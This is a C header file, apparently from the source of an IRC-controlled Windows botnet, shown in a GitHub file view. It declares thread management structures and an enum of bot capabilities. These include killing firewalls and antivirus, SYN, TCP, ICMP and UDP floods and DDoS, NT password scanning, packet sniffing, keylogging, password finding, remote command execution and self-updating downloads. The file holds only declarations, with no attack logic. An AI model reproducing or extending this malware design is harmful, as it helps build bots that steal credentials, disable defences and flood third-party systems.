-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy paththreads.h
70 lines (64 loc) · 1.97 KB
/
threads.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
enum {
MAIN_THREAD, // Main thread
KILLER_THREAD, // Firewall/AV Killer thread
IDENT_THREAD, // Ident Server thread
HTTP_THREAD, // HTTP Server thread
TFTP_THREAD, // TFTP Server thread
RLOGIN_THREAD, // Rlogin Server thread
RCMD_THREAD, // Remote CMD thread
SCAN_THREAD, // Port Scanner thread
NTPASS_THREAD, // NT Password Scanner thread
DDOS_THREAD, // DDoS thread
SYN_THREAD, // Syn Flood thread
TCP_THREAD, // Tcp Flood thread
ICMP_THREAD, // ICMP Flood thread
PING_THREAD, // Ping thread
UDP_THREAD, // UDP thread
REDIRECT_THREAD, // Port Redirect thread
SOCKS4_THREAD, // SOCKS4 thread
DCC_THREAD, // DCC Transfer thread
DCCCHAT_THREAD, // DCC Chat Transfer thread
VISIT_THREAD, // Visit URL thread
DOWNLOAD_THREAD, // Download thread
UPDATE_THREAD, // Update thread
CLONE_THREAD, // Clone thread
PSNIFF_THREAD, // Psniff thread
SECURE_THREAD, // Secure thread
KEYLOG_THREAD, // Key Logger thread
FIND_THREAD, // File find thread
LOG_THREAD, // Log list thread
PASS_THREAD, // Find pass thread
PROC_THREAD, // Process list thread
LIST_THREAD // Threads list thread
};
typedef struct THREAD
{
char name[IRCLINE];
int id;
int parent;
DWORD pid;
SOCKET sock;
SOCKET csock;
HANDLE tHandle;
char nick[MAXNICKLEN];
} THREAD;
typedef struct TLIST
{
SOCKET sock;
char chan[128];
int threadnum;
BOOL full;
BOOL notice;
BOOL silent;
BOOL gotinfo;
} TLIST;
int addthread(char *name, int id, SOCKET sock);
DWORD WINAPI ListThread(LPVOID param);
void listthreads(SOCKET sock, char *chan, BOOL notice, BOOL full=FALSE);
BOOL killthread(int threadnum);
int killthreadall(void);
int killthreadid(int threadid, int threadnum=0);
int findthreadid(int threadid);
int findthreadnum(int threadid);
void stopthread(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *name, char *desc, int threadid, char *thread);
void clearthread(int threadnum);